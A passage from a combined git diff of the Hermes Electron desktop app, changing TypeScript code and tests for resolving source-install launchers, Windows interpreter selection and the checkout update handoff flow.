output)+ assert.deepEqual(await ping(port, token), { jsonrpc: '2.0', id: 1, result: { pong: true } })+ assert.equal(fs.existsSync(poison), false, 'the stale checkout interpreter must never execute')+ console.info('PM backend verified', { poisoned, port, health: response.status, origin })+ } catch (error: unknown) {+ throw new Error(`${String(error)}\n${output}`)+ } finally {+ await stop(child)+ }++ if (poisoned) {+ const source: SourceBackend | null = createSourcePythonBackend(fixture.root, fixture.python, ['--version'], {+ isWindows: true,+ env+ })++ assert.ok(source)+ assert.equal(source.command, fixture.python)+ assert.match(+ execFileSync(source.command, source.args, {+ cwd: source.root,+ env: { ...env, ...source.env },+ encoding: 'utf8',+ timeout: 15_000+ }),+ /Hermes/+ )+ assert.equal(fs.existsSync(poison), false)+ }+ }++ fs.unlinkSync(fixture.launcher)+ assert.equal(- resolveSourceInstallationBackend(fixture.root, serveBackendArgs(), { hermesHome: env.HERMES_HOME, env }),++ await resolveSourceInstallationBackend(fixture.root, serveBackendArgs(), { hermesHome: env.HERMES_HOME, env }),+ null,+ 'a missing PM command must not fall back to the stale venv'+ )+ } finally {+ fs.rmSync(temp, { recursive: true, force: true })+ vi.unstubAllEnvs()+ }+ },+ 150_000+)++test('Windows console selection uses only the selected interpreter directory', (): void => {+ const temp: string = fs.mkdtempSync(path.join(os.tmpdir(), 'desktop-console-policy-'))+ const root: string = path.join(temp, 'repo')+ const selected: string = path.join(temp, 'external', 'pythonw.exe')+ const consolePython: string = path.join(path.dirname(selected), 'python.exe')++ try {+ fs.mkdirSync(path.join(root, 'venv', 'Scripts'), { recursive: true })+ fs.writeFileSync(path.join(root, 'venv', 'Scripts', 'python.exe'), 'stale')+ fs.mkdirSync(path.dirname(selected), { recursive: true })+ fs.writeFileSync(selected, '')+ assert.equal(createSourcePythonBackend(root, selected, [], { isWindows: true })?.command, selected)+ fs.writeFileSync(consolePython, '')+ const backend: SourceBackend | null = createSourcePythonBackend(root, selected, ['serve'], { isWindows: true })+ assert.equal(backend?.command, consolePython)+ assert.equal(backend?.env.PYTHONPATH, '')+ assert.equal(backend?.env.PYTHONHOME, '')+ assert.equal(createSourcePythonBackend(root, selected, [], { isWindows: false })?.command, selected)+ assert.equal(createSourcePythonBackend(root, null, []), null)+ } finally {+ fs.rmSync(temp, { recursive: true, force: true })+ }+})diff --cc apps/desktop/electron/source-backend.tsindex f1d6884532b,00000000000..40bf2c1991bmode 100644,000000..100644--- a/apps/desktop/electron/source-backend.ts+++ b/apps/desktop/electron/source-backend.ts@@@ -1,105 -1,0 +1,105 @@@+import { existsSync } from 'node:fs'+import path from 'node:path'++import { buildDesktopBackendEnv } from './backend-env'- import { execProbeSync, PROBE_TIMEOUT_MS } from './backend-probes'++import { execProbe, PROBE_TIMEOUT_MS } from './backend-probes'+import { resolveInstallationLauncher } from './updater-process'++export interface SourceBackend {+ kind: 'command' | 'python'+ label: string+ command: string+ args: string[]+ env: NodeJS.ProcessEnv+ root: string+ bootstrap: false+ shell: boolean+ local: 'installed'+}++interface SourceOptions {+ isWindows?: boolean+ env?: NodeJS.ProcessEnv+}++/** Keep the validated command. PM owns interpreter and generation selection. */- export function resolveSourceInstallationBackend(++export async function resolveSourceInstallationBackend(+ root: string,+ args: string[],+ options: SourceOptions & { hermesHome?: string } = {}- ): SourceBackend | null {++): Promise<SourceBackend | null> {+ if (!existsSync(path.join(root, 'hermes_cli', 'main.py'))) {+ return null+ }++ const isWindows: boolean = options.isWindows ?? process.platform === 'win32'+ const launcher: string | null = resolveInstallationLauncher(root, isWindows, options.hermesHome)++ if (!launcher) {+ return null+ }++ const shell: boolean = isWindows && /\.(cmd|bat)$/i.test(launcher)+ const command: string = shell ? `"${launcher}"` : launcher+ const env: NodeJS.ProcessEnv = buildDesktopBackendEnv({ currentEnv: options.env ?? process.env })++ try {- execProbeSync(command, ['--version'], {++ await execProbe(command, ['--version'], {+ cwd: root,+ env: { ...process.env, ...options.env, ...env },+ shell,+ stdio: 'ignore',+ timeout: PROBE_TIMEOUT_MS,+ windowsHide: true+ })+ } catch {+ return null+ }++ return {+ kind: 'command',+ label: `Hermes at ${root}`,+ command,+ args: [...args],+ env,+ root,+ bootstrap: false,+ shell,+ local: 'installed'+ }+}++/** Developer overrides retain their interpreter, even outside the checkout. */+export function createSourcePythonBackend(+ root: string,+ python: string | null,+ args: string[],+ options: SourceOptions = {}+): SourceBackend | null {+ if (!python) {+ return null+ }++ let command: string = python++ if ((options.isWindows ?? process.platform === 'win32') && /[\\/]pythonw\.exe$/i.test(python)) {+ // Use only the console interpreter beside the selected windowless one.+ const consolePython: string = python.replace(/pythonw\.exe$/i, 'python.exe')++ if (existsSync(consolePython)) {+ command = consolePython+ }+ }++ return {+ kind: 'python',+ label: `Hermes source at ${root}`,+ command,+ args: ['-m', 'hermes_cli.main', ...args],+ env: buildDesktopBackendEnv({ currentEnv: options.env ?? process.env }),+ root,+ bootstrap: false,+ shell: false,+ local: 'installed'+ }+}diff --cc apps/desktop/electron/updater-process.tsindex 4ff624e6053,6c2d18ab0b6..c0db6750106--- a/apps/desktop/electron/updater-process.ts+++ b/apps/desktop/electron/updater-process.ts@@@ -1,83 -1,26 +1,99 @@@-import { spawn, type SpawnOptions } from 'node:child_process'-import { existsSync, statSync } from 'node:fs'+import { execFileSync, spawn, type SpawnOptions } from 'node:child_process'+import { existsSync, realpathSync, statSync } from 'node:fs'+import os from 'node:os'import path from 'node:path'-import { resolveVenvDir } from './venv-blocker-scan'++/** Historical layouts still matter when uninstalling or migrating a source install. */++export function resolveVenvDir(updateRoot: string): string {++ for (const name of ['venv', '.venv']) {++ const candidate: string = path.join(updateRoot, name)++++ try {++ if (statSync(candidate).isDirectory()) {++ return candidate++ }++ } catch {++ // Try the other supported layout, then retain the legacy diagnostic path.++ }++ }++++ return path.join(updateRoot, 'venv')++}import { hiddenWindowsChildOptions } from './windows-child-options'-/** File prerequisites only: dependency recovery must remain reachable through update. */-export function windowsUpdatePrerequisiteError(updateRoot: string): string | null {- const maintainedDir = path.join(updateRoot, 'scripts', 'desktop-update')- const required = [path.join(resolveVenvDir(updateRoot), 'Scripts', 'python.exe')]+/** Exact installation identity; PATH may refer to another checkout. */+export function resolveInstallationLauncher(updateRoot: string, isWindows: boolean = process.platform === 'win32', hermesHome: string = process.env.HERMES_HOME ?? ''): string | null {+ const names: string[] = isWindows ? ['hermes.exe', 'hermes.cmd'] : ['hermes']- // Pre-reorg flat scripts remain supported; damaged modern trees do not.- if (existsSync(maintainedDir)) {- required.push(path.join(maintainedDir, 'windows.ps1'))+ for (const name of names) {+ const candidate: string = path.join(updateRoot, '.hermes', 'bin', name)++ if (stagedFileExists(candidate)) { return candidate }}- for (const candidate of required) {- if (stagedFileExists(candidate)) {- continue+ // Earlier PM installers published only to user-bin. Trust that historical+ // launcher only after its existing version surface proves exact source identity.+ if (stagedFileExists(path.join(updateRoot, 'hermes_cli', '_launchers.py'))) {+ const defaultHome: string = isWindows+ ? path.join(process.env.LOCALAPPDATA ?? path.join(os.homedir(), 'AppData', 'Local'), 'hermes')+ : path.join(os.homedir(), '.hermes')++ const dirs: string[] = isWindows+ ? [path.join(hermesHome || defaultHome, 'bin'), path.join(defaultHome, 'bin'), path.join(path.dirname(updateRoot), 'bin')]+ : [path.join(os.homedir(), '.local', 'bin'), path.join(hermesHome || defaultHome, 'bin')]++ for (const dir of new Set(dirs)) {+ for (const name of names) {+ const candidate: string = path.join(dir, name)++ if (stagedFileExists(candidate) && launcherTargetsInstallation(candidate, updateRoot)) { return candidate }+ }}+ }++ // An old shim is a migration rung, never a damaged PM install fallback.+ if (!existsSync(path.join(updateRoot, 'pm'))) {+ const legacy: string = path.join(updateRoot, 'venv', isWindows ? 'Scripts' : 'bin', names[0])- return `Update aborted: ${candidate} is missing or unreadable. Repair the installation and review antivirus quarantine before retrying.`+ if (stagedFileExists(legacy)) { return legacy }+ }++ return null+}++export function launcherTargetsInstallation(launcher: string, root: string): boolean {+ try {+ const shell: boolean = process.platform === 'win32' && /\.cmd$/i.test(launcher)++ const output: string = execFileSync(shell ? `"${launcher}"` : launcher, ['--version'], {+ cwd: root, encoding: 'utf8', timeout: 15000, windowsHide: true, shell,+ env: { ...process.env, HERMES_INSTALL_ROOT: root }+ })++ const reported: string | undefined = /^Install directory: (.+)$/m.exec(output)?.[1]?.trim()++ return reported !== undefined && realpathSync(reported) === realpathSync(root)+ } catch {+ return false+ }+}++/** File prerequisites only: dependency recovery remains reachable through update. */+export function windowsUpdatePrerequisiteError(updateRoot: string, hermesHome?: string): string | null {+ if (!resolveInstallationLauncher(updateRoot, true, hermesHome)) {+ return `Update aborted: the installation launcher under ${updateRoot} is missing. Repair this installation before retrying.`+ }++ const maintainedDir: string = path.join(updateRoot, 'scripts', 'desktop-update')++ if (existsSync(maintainedDir)) {+ for (const name of ['windows.ps1']) {+ const candidate: string = path.join(maintainedDir, name)++ if (!stagedFileExists(candidate)) {+ return `Update aborted: ${candidate} is missing or unreadable. Repair the installation and review antivirus quarantine before retrying.`+ }+ }}return nulldiff --cc apps/desktop/electron/updater/checkout.tsindex f03750e2313,00000000000..d56e779ef91mode 100644,000000..100644--- a/apps/desktop/electron/updater/checkout.ts+++ b/apps/desktop/electron/updater/checkout.ts@@@ -1,446 -1,0 +1,446 @@@+// Checkout update policy and handoff execution. The shell supplies process and UI dependencies.++import { existsSync } from 'node:fs'+import * as path from 'node:path'++import { updateHandoffConflict, writeUpdateMarker } from '../update-marker'+import {+ collectRelaunchArgs,+ observeUpdaterHandoff,+ resolveInstallationLauncher,+ resolvePosixScriptHandoff,+ resolveUpdateScriptHandoff,+ sandboxFallbackFromEnv,+ spawnUpdaterProcess,+ stagedUpdaterSupportsPrewrittenMarker,+ windowsUpdatePrerequisiteError,+ wrapHandoffForDetachedConsole+} from '../updater-process'++import { SOURCE_PROBE_RECOVERY, type SourceUpdate, sourceUpdateEnvironment } from './checkout-source'++import type { UpdaterApplyResultWire, UpdaterMechanism, UpdaterStatusWire, UpdaterStrategy } from './index'++/**+ * Everything the checkout flow needs from the app shell. These are the+ * impure edges only — all update logic lives here.+ */+export interface CheckoutStrategyDeps {+ resolveUpdateRoot: () => string+ readSourceUpdate: (root: string, opts: { force?: boolean }) => Promise<SourceUpdate | null>+ hermesHome: string+ isWindows: boolean+ isMac: boolean+ defaultUpdateBranch: string+ updateHandoffDwellMs: number+ resolveUpdaterBinary: () => string | null++ emitUpdateProgress: (payload: { stage: string; message: string; percent: number | null }) => void+ rememberLog: (chunk: unknown) => void+ startHermes: () => Promise<unknown>+ stopBackendsForUpdate: () => Promise<void>+ repairMacUpdaterHelper: (updater: string) => void | Promise<void>- preflightStateDb: (hermesHome: string, rememberLog: (chunk: string) => void) => void++ preflightStateDb: (hermesHome: string, rememberLog: (chunk: string) => void) => void | Promise<void>+ runningAppBundle: () => string | null+ markQuittingForHandoff: () => void+ quit: () => void+}++/**+ * The manual command card for a checkout with no staged updater: the exact+ * `hermes update` line to run, branch-pinned to the checkout's current branch+ * for non-main (bare `hermes update` would silently switch the install+ * off-branch).+ */+export function buildManualUpdateCommand(currentBranch: string | null | undefined): string {+ return currentBranch && currentBranch !== 'HEAD' && currentBranch !== 'main'+ ? `hermes update --branch ${currentBranch}`+ : 'hermes update'+}++/**+ * The checkout strategy: windows-handoff on win32, posix-handoff elsewhere.+ * The bodies are the production update flow; the mechanism stamp rides on+ * every result the way the wire contract expects.+ */+export function createCheckoutStrategy(deps: CheckoutStrategyDeps): UpdaterStrategy {+ const mechanism: UpdaterMechanism = deps.isWindows ? 'windows-handoff' : 'posix-handoff'++ async function check(opts: { force?: boolean } = {}): Promise<UpdaterStatusWire> {+ const root: string = deps.resolveUpdateRoot()++ const status: UpdaterStatusWire = await deps.readSourceUpdate(root, opts) ?? {+ supported: false, reason: 'source-probe-unavailable', message: SOURCE_PROBE_RECOVERY, hermesRoot: root+ }++ status.mechanism = mechanism++ return status+ }++ async function apply(): Promise<UpdaterApplyResultWire> {+ const result: UpdaterApplyResultWire = await applyBody()+ result.mechanism = mechanism++ return result+ }++ return { mechanism, check, apply }++ async function applyBody(): Promise<UpdaterApplyResultWire> {+ const status: UpdaterStatusWire = await check({ force: true })++ if (status.reason === 'source-probe-unavailable') {+ return { ok: true, manual: true, command: 'hermes update --help', message: status.message, hermesRoot: status.hermesRoot }+ }++ if (!status.supported || status.error) {+ return { ok: false, error: status.error ?? status.reason, message: status.message }+ }++ const branch: string = status.branch ?? deps.defaultUpdateBranch+ const targetArgs: string[] = status.channel ? ['--channel', status.channel] : ['--branch', branch]+ const targetLabel: string = status.channel ?? branch+ const manualCommand: string = status.channel ? `hermes update --channel ${status.channel}` : buildManualUpdateCommand(branch)+ const updater: string | null = deps.resolveUpdaterBinary()+ const root: string = deps.resolveUpdateRoot()++ // Earlier PM scripts still demand checkout/venv. Do not invoke that known+ // incompatible handoff: one exact-install CLI update obtains the new scripts.+ if (existsSync(path.join(root, 'pm')) && !existsSync(path.join(root, 'scripts', 'desktop-update', 'runtime.ps1'))) {+ const launcher: string | null = resolveInstallationLauncher(root, deps.isWindows, deps.hermesHome)++ if (!launcher) { return { ok: false, error: 'installation-launcher-missing' } }++ const quote = (value: string): string => deps.isWindows+ ? `'${value.replace(/'/g, "''")}'`+ : `'${value.replace(/'/g, "'\\''")}'`++ const command: string = `${deps.isWindows ? '& ' : ''}${quote(launcher)} update ${targetArgs.map(quote).join(' ')}`++ return { ok: true, manual: true, command, hermesRoot: root }+ }++ if (!deps.isWindows && (!updater || status.channel)) {+ // macOS/Linux: hand off to the repo-owned posix script — same shape as+ // Windows (quit → detached orchestrator → `hermes update` → relaunch),+ // minus the venv-lock gauntlet POSIX doesn't need. The old in-app+ // updater (applyUpdatesPosixInApp) is gone with everything it dragged+ // in: the HERMES_DESKTOP_CHILD_PID reaper-exclusion dance (#37532),+ // the in-window rebuild retry, and the relaunch-outcome matrix — the+ // script owns swap/relaunch, and the app is DEAD during the update so+ // there is nothing to reap around. Checkouts that predate the script+ // get the manual `hermes update` card once; their next update pulls it.+ return await applyPosixHandoff(targetArgs, targetLabel, manualCommand)+ }++ if (!updater || status.channel) {+ // No staged updater binary — this is a CLI-installed user (they ran+ // `hermes desktop`, never the Tauri installer that self-copies+ // hermes-setup.exe into HERMES_HOME). On Windows the repo hand-off+ // script serves them just as well as installer users — it only needs+ // PowerShell and the checkout — so fall through to the normal hand-off+ // when the script exists. Only when the checkout predates the script do+ // we surface the manual one-liner.+ const updateRoot = deps.resolveUpdateRoot()++ if (!resolveUpdateScriptHandoff(updateRoot)) {+ const command: string = manualCommand++ deps.rememberLog(`[updates] no staged updater; surfacing manual \`${command}\` for CLI install at ${updateRoot}`)+ deps.emitUpdateProgress({ stage: 'manual', message: command, percent: null })++ return { ok: true, manual: true, command, hermesRoot: updateRoot }+ }++ deps.rememberLog('[updates] no staged updater; using repo hand-off script for CLI install')+ }++ const handoffConflict = updateHandoffConflict(deps.hermesHome)++ if (handoffConflict) {+ // A different updater already owns the marker — most often a previous+ // "Update" click whose updater is still alive and parked mid-run.+ // Spawning another here would overwrite its claim and let two updaters+ // mutate the checkout at once (#75778); refuse instead.+ deps.rememberLog(`[updates] refusing hand-off: ${handoffConflict.message}`)+ deps.emitUpdateProgress({ stage: 'error', message: handoffConflict.message, percent: null })++ return { ok: false, error: 'update-already-running', message: handoffConflict.message }+ }++ deps.emitUpdateProgress({+ stage: 'restart',+ message:+ 'Updating Hermes — this window will close and the updater will open. Don’t reopen Hermes yourself; it restarts automatically when the update finishes.',+ percent: 100+ })+ deps.repairMacUpdaterHelper(updater)++ const updateRoot = deps.resolveUpdateRoot()+ const updaterArgs: string[] = ['--update', ...targetArgs]+ const targetApp = deps.isMac ? deps.runningAppBundle() : null++ if (targetApp) {+ updaterArgs.push('--target-app', targetApp)+ }+++ // ── Pre-flight state.db integrity guard (#68474) ─────────────────+ // Emergency backup and header verification before the update touches+ // anything. Runs while the backend is still alive.- deps.preflightStateDb(deps.hermesHome, deps.rememberLog)++ await deps.preflightStateDb(deps.hermesHome, deps.rememberLog)++ if (deps.isWindows && resolveUpdateScriptHandoff(updateRoot)) {+ const message = windowsUpdatePrerequisiteError(updateRoot, deps.hermesHome)++ if (message) {+ deps.emitUpdateProgress({ stage: 'error', message, percent: null })++ return { ok: false, error: message }+ }+ }++ // Release app-owned backends for output replacement. PM publishes a new+ // dependency generation; old Python readers are not update blockers.+ // The CLI owns gateway draining and restart, including failure recovery.+ await deps.stopBackendsForUpdate()++ // Detached so app replacement can outlive this process.+ //+ // Prefer the repo-owned hand-off script over the staged Tauri binary.+ // The staged binary is frozen (no self-update path) and historically runs+ // months-stale updater logic — pre-#67369 cache resolver, pre-#74782+ // marker adoption — producing failures that were fixed on main long ago+ // (2026-08-09 incident). scripts/desktop-update/windows.ps1 ships WITH the+ // checkout, so each `hermes update` refreshes the code that drives the+ // next one. Checkouts that predate the script fall back to the binary+ // path unchanged.+ const scriptHandoff = resolveUpdateScriptHandoff(updateRoot)+ let child++ if (scriptHandoff) {+ const updateStartedAt = Math.floor(Date.now() / 1000)++ // A bare detached+hidden powershell spawn silently dies before -File+ // processing (console-subsystem init failure — see+ // wrapHandoffForDetachedConsole). Route through `cmd start` so the+ // script gets its own minimized console and survives our exit. The+ // wrapper cmd.exe exits immediately, so child.pid is NOT the script's+ // pid — the script claims the update marker itself with its own $PID+ // as its first action, and a relaunched Desktop parks on that.+ const wrapped = wrapHandoffForDetachedConsole(scriptHandoff, [+ '-InstallRoot',+ updateRoot,+ ...(status.channel ? ['-Channel', status.channel] : ['-Branch', branch]),+ '-DesktopPid',+ String(process.pid),+ '-RelaunchExe',+ process.execPath+ ])++ child = spawnUpdaterProcess(wrapped.command, wrapped.args, {+ cwd: deps.hermesHome,+ env: {+ ...sourceUpdateEnvironment(updateRoot, deps.hermesHome),+ HERMES_UPDATE_STARTED_AT: String(updateStartedAt)+ },+ detached: true,+ stdio: 'ignore'+ })++ // Bridge marker: child.pid is the short-lived cmd.exe WRAPPER, not the+ // script (see wrapHandoffForDetachedConsole). Write it anyway to cover+ // the first moments of the hand-off — the script's step 0 overwrites it+ // with its own live $PID, and if the script never starts the wrapper's+ // dead pid makes the marker read as stale and self-delete (no wedge).+ // The `hermes update` child adopts the SCRIPT's claim via+ // update_lock.py's process-ancestry rule; no mtime heuristics needed.+ if (Number.isInteger(child.pid)) {+ writeUpdateMarker(deps.hermesHome, child.pid, { startedAt: updateStartedAt })+ }++ deps.rememberLog(+ `[updates] launched repo hand-off script: ${scriptHandoff.scriptPath} (${targetLabel}); exiting desktop for application replacement`+ )+ } else {+ child = spawnUpdaterProcess(updater, updaterArgs, {+ cwd: deps.hermesHome,+ env: {+ ...sourceUpdateEnvironment(updateRoot, deps.hermesHome)+ },+ detached: true,+ stdio: 'ignore'+ })++ // Write the update-in-progress marker IMMEDIATELY — before the 2.5s+ // quit dwell. The Tauri updater won't write its own marker for several+ // seconds (window init + manifest), and during that gap our renderer+ // can reconnect into an update still replacing application files.+ // By writing the marker ourselves the renderer's+ // waitForUpdateToFinish() gate sees a live update and parks instead.+ // The updater overwrites this with its own PID later; same format.+ //+ // SKIPPED for pre-#74782 staged updaters: those have no self-PID+ // exclusion, so they read this very marker as a foreign live owner and+ // abort with "Another Hermes update is already running (PID <itself>)" —+ // an unbreakable loop, because the update that would replace the stale+ // binary is the one being refused. Losing the anti-respawn hardening is+ // strictly better than never updating again, and the updater still writes+ // its own marker moments later.+ if (Number.isInteger(child.pid) && stagedUpdaterSupportsPrewrittenMarker(updater)) {+ writeUpdateMarker(deps.hermesHome, child.pid)+ } else if (Number.isInteger(child.pid)) {+ deps.rememberLog(+ `[updates] skipping marker pre-write: staged updater predates self-adopt (${updater}); it would refuse its own claim`+ )+ }++ deps.rememberLog(+ `[updates] launched updater: ${updater} ${updaterArgs.join(' ')}; exiting desktop for application replacement`+ )+ }++ // Linger on the "updating — don't reopen" overlay long enough for the user+ // to actually read it (and to bridge the gap until the updater's own window+ // appears), THEN quit for application replacement. The updater rebuilds and+ // relaunches us when it's done. (#50419 — a 600ms quit looked like a crash+ // and lured users into the #50238 relaunch loop.)+ //+ // The dwell doubles as the hand-off settle window (#66753): watch the+ // detached child for an async spawn `error` (ENOENT/EACCES) or an early+ // non-zero/signal exit. On failure, DON'T quit — the user would be left+ // with no app, no updater, and no evidence. Restart our backend and+ // surface the error instead. The pre-written marker names the dead child+ // pid, so readLiveUpdateMarker self-heals it; no cleanup needed.+ const dwellStartedAt = Date.now()+ const handoffOutcome = await observeUpdaterHandoff(child, deps.updateHandoffDwellMs)++ if (!handoffOutcome.ok) {+ const message = `Update failed to start: ${handoffOutcome.message}. Hermes will keep running — try again, or run \`hermes update\` from a terminal.`++ deps.rememberLog(`[updates] hand-off not viable, aborting quit: ${handoffOutcome.message}`)+ deps.emitUpdateProgress({ stage: 'error', message, percent: null })+ deps.startHermes().catch(() => {})+++ return { ok: false, error: 'updater-spawn-failed', message }+ }++ deps.markQuittingForHandoff()+ setTimeout(+ () => {+ deps.quit()+ },+ Math.max(0, deps.updateHandoffDwellMs - (Date.now() - dwellStartedAt))+ )++ return { ok: true, handedOff: true, updater }+ }++ async function applyPosixHandoff(targetArgs: string[], targetLabel: string, manualCommand: string): Promise<UpdaterApplyResultWire> {+ const updateRoot = deps.resolveUpdateRoot()+ const handoff = resolvePosixScriptHandoff(updateRoot)++ if (!handoff) {+ deps.emitUpdateProgress({ stage: 'manual', message: manualCommand, percent: null })++ return { ok: true, manual: true, command: manualCommand, hermesRoot: updateRoot }+ }++ const handoffConflict = updateHandoffConflict(deps.hermesHome)++ if (handoffConflict) {+ // Same hazard as the Windows path (#75778): a live foreign updater+ // already owns the marker — refuse rather than double-mutate the tree.+ deps.rememberLog(`[updates] refusing posix hand-off: ${handoffConflict.message}`)+ deps.emitUpdateProgress({ stage: 'error', message: handoffConflict.message, percent: null })++ return { ok: false, error: 'update-already-running', message: handoffConflict.message }+ }++ // ── Pre-flight state.db integrity guard (#68474) ──- deps.preflightStateDb(deps.hermesHome, deps.rememberLog)++ await deps.preflightStateDb(deps.hermesHome, deps.rememberLog)++ const args: string[] = [...handoff.args, '--install-root', updateRoot, ...targetArgs, '--desktop-pid', String(process.pid)]+ const updateStartedAt = Math.floor(Date.now() / 1000)++ // Relaunch target: the running .app bundle on mac (script swaps the+ // rebuilt bundle over it), the running binary elsewhere. The script's gate+ // (an exact port of update-relaunch.ts's decideRelaunchOutcome) relaunches+ // only a binary the rebuild replaced with a launchable sandbox helper —+ // replaying the original launch context (filtered args, cwd, sandbox+ // opt-out) so a deep-link or --no-sandbox launch survives the update.+ const targetApp = deps.isMac ? deps.runningAppBundle() : process.execPath++ if (targetApp) {+ args.push('--relaunch-target', targetApp)+ }++ const relaunchArgs = collectRelaunchArgs(process.argv.slice(1))++ if (!deps.isMac) {+ args.push('--relaunch-cwd', process.cwd())++ if (sandboxFallbackFromEnv(process.env, relaunchArgs)) {+ args.push('--sandbox-fallback')+ }++ if (relaunchArgs.length) {+ args.push('--', ...relaunchArgs)+ }+ }++ const child = spawnUpdaterProcess(handoff.command, args, {+ cwd: deps.hermesHome,+ env: {+ ...sourceUpdateEnvironment(updateRoot, deps.hermesHome),+ HERMES_UPDATE_STARTED_AT: String(updateStartedAt)+ },+ detached: true,+ stdio: 'ignore'+ })++ // Bridge marker (same contract as the Windows hand-off): cover the gap+ // until the script claims the marker with its own pid as step 0. If the+ // script never starts, the dead pid reads as stale and self-deletes.+ if (Number.isInteger(child.pid)) {+ writeUpdateMarker(deps.hermesHome, child.pid, { startedAt: updateStartedAt })+ }++ deps.rememberLog(`[updates] launched posix hand-off: ${handoff.scriptPath} (${targetLabel}); quitting to hand off`)+ deps.emitUpdateProgress({+ stage: 'restart',+ message:+ 'Updating Hermes — this window will close. Don’t reopen Hermes yourself; it restarts automatically when the update finishes.',+ percent: 100+ })++ // Settle window (#66753): the reported macOS failure mode is exactly this+ // path — the app quits, bash/posix.sh dies early (or was never spawnable),+ // and the user is left with no app, no updater, and no relaunch. Watch the+ // child through the dwell; on spawn error or early death, stay alive and+ // surface the failure instead of quitting into nothing.+ const dwellStartedAt = Date.now()+ const handoffOutcome = await observeUpdaterHandoff(child, deps.updateHandoffDwellMs)++ if (!handoffOutcome.ok) {+ const message = `Update failed to start: ${handoffOutcome.message}. Hermes will keep running — try again, or run \`hermes update\` from a terminal.`++ deps.rememberLog(`[updates] posix hand-off not viable, aborting quit: ${handoffOutcome.message}`)+ deps.emitUpdateProgress({ stage: 'error', message, percent: null })++ return { ok: false, error: 'updater-spawn-failed', message }+ }++ deps.markQuittingForHandoff()+ setTimeout(+ () => {+ deps.quit()+ },+ Math.max(0, deps.updateHandoffDwellMs - (Date.now() - dwellStartedAt))+ )++ return { ok: true, handedOff: true, updater: handoff.scriptPath }+ }+}diff --cc apps/desktop/electron/windows-hermes-path.test.tsindex a1796ea3387,b6b99176cca..d8cb317eeb9--- a/apps/desktop/electron/windows-hermes-path.test.ts+++ b/apps/desktop/electron/windows-hermes-path.test.ts@@@ -50,9 -90,11 +50,9 @@@ function makeDeps(overrides: Partial<PaisCommandScript: () => false,fileExists: () => true,directoryExists: () => false,- canImportHermesCli: () => true,+ canImportHermesCli: async () => true,getVenvPython: (venvRoot: string) => `${venvRoot}/Scripts/python.exe`,- getVenvSitePackagesEntries: () => [],buildDesktopBackendEnv: () => ({ FAKE_ENV: '1' }),- hermesHome: '/fake/hermes-home',resolvePath: (...segments: string[]) => segments.join('/').replace(/\/+/g, '/'),dirname: (p: string) => p.slice(0, p.lastIndexOf('/')) || '/',basename: (p: string) => p.slice(p.lastIndexOf('/') + 1),@@@ -122,9 -164,79 +122,9 @@@ test('resolveVenvHermesCommand: returnassert.deepEqual(result.env, { FAKE_ENV: '1' })})- test('resolveVenvHermesCommand: is case-insensitive on hermes.exe and the Scripts dir name', () => {+ test('resolveVenvHermesCommand: is case-insensitive on hermes.exe and the Scripts dir name', async () => {const deps = makeDeps()- assert.ok(resolveVenvHermesCommand('/root/venv/Scripts/HERMES.EXE', [], deps))- assert.ok(resolveVenvHermesCommand('/root/venv/SCRIPTS/hermes.exe', [], deps))+ assert.ok(await resolveVenvHermesCommand('/root/venv/Scripts/HERMES.EXE', [], deps))+ assert.ok(await resolveVenvHermesCommand('/root/venv/SCRIPTS/hermes.exe', [], deps))})--// ── getVenvSitePackagesEntries ─────────────────────────────────────────────--test('getVenvSitePackagesEntries: returns Lib/site-packages on Windows when it exists', () => {- const expected = path.join('C:\\venv', 'Lib', 'site-packages')-- const result = getVenvSitePackagesEntries('C:\\venv', {- isWindows: true,- directoryExists: p => p === expected- })-- assert.deepEqual(result, [expected])-})--test('getVenvSitePackagesEntries: returns empty on Windows when site-packages does not exist', () => {- const result = getVenvSitePackagesEntries('C:\\venv', {- isWindows: true,- directoryExists: () => false- })-- assert.deepEqual(result, [])-})--test('getVenvSitePackagesEntries: reads pyvenv.cfg version on POSIX and resolves lib/pythonX.Y/site-packages', () => {- const expected = path.join('/venv', 'lib', 'python3.12', 'site-packages')-- const result = getVenvSitePackagesEntries('/venv', {- isWindows: false,- directoryExists: p => p === expected,- readFile: () => 'version_info = 3.12.1\n'- })-- assert.deepEqual(result, [expected])-})--test('getVenvSitePackagesEntries: returns empty on POSIX when pyvenv.cfg is missing', () => {- const result = getVenvSitePackagesEntries('/venv', {- isWindows: false,- directoryExists: () => true,- readFile: () => undefined- })-- assert.deepEqual(result, [])-})--test('getVenvSitePackagesEntries: returns empty on POSIX when pyvenv.cfg has no version_info', () => {- const result = getVenvSitePackagesEntries('/venv', {- isWindows: false,- directoryExists: () => true,- readFile: () => 'home = /usr/bin\n'- })-- assert.deepEqual(result, [])-})--test('getVenvSitePackagesEntries: returns empty on POSIX when version is present but site-packages dir is absent', () => {- const result = getVenvSitePackagesEntries('/venv', {- isWindows: false,- directoryExists: () => false,- readFile: () => 'version_info = 3.11\n'- })-- assert.deepEqual(result, [])-})--test('getVenvSitePackagesEntries: returns empty for a falsy venvRoot', () => {- assert.deepEqual(getVenvSitePackagesEntries('', { isWindows: true, directoryExists: () => true }), [])- assert.deepEqual(getVenvSitePackagesEntries(null, { isWindows: true, directoryExists: () => true }), [])- assert.deepEqual(getVenvSitePackagesEntries(undefined, { isWindows: true, directoryExists: () => true }), [])-})diff --cc apps/desktop/electron/windows-hermes-path.tsindex 548a1f36170,09b4c37550a..c6effda2543--- a/apps/desktop/electron/windows-hermes-path.ts+++ b/apps/desktop/electron/windows-hermes-path.ts@@@ -80,9 -171,15 +80,9 @@@ export interface ResolveVenvHermesCommaisCommandScript: (command: string) => booleanfileExists: (filePath: string) => booleandirectoryExists: (filePath: string) => boolean- canImportHermesCli: (python: string, opts?: { env?: Record<string, string>; cwd?: string }) => boolean- canImportHermesCli: (python: string, opts?: { env?: Record<string, string> }) => Promise<boolean>++ canImportHermesCli: (python: string, opts?: { env?: Record<string, string>; cwd?: string }) => Promise<boolean>getVenvPython: (venvRoot: string) => string- getVenvSitePackagesEntries: (venvRoot: string) => string[]- buildDesktopBackendEnv: (opts: {- hermesHome: string- pythonPathEntries: string[]- venvRoot: string- }) => Record<string, string>- hermesHome: string+ buildDesktopBackendEnv: () => Record<string, string>resolvePath: (...segments: string[]) => stringdirname: (p: string) => stringbasename: (p: string) => string@@@ -161,9 -260,15 +161,11 @@@ export async function resolveVenvHermesconst root = dirname(venvRoot)+ // Probe with the same semantics the real spawn uses: venv interpreter,+ // cwd at the checkout root, no PYTHONPATH.- if (!canImportHermesCli(python, { cwd: directoryExists(root) ? root : undefined })) {+ if (- !(await canImportHermesCli(python, {- env: {- PYTHONPATH: [...(directoryExists(root) ? [root] : []), 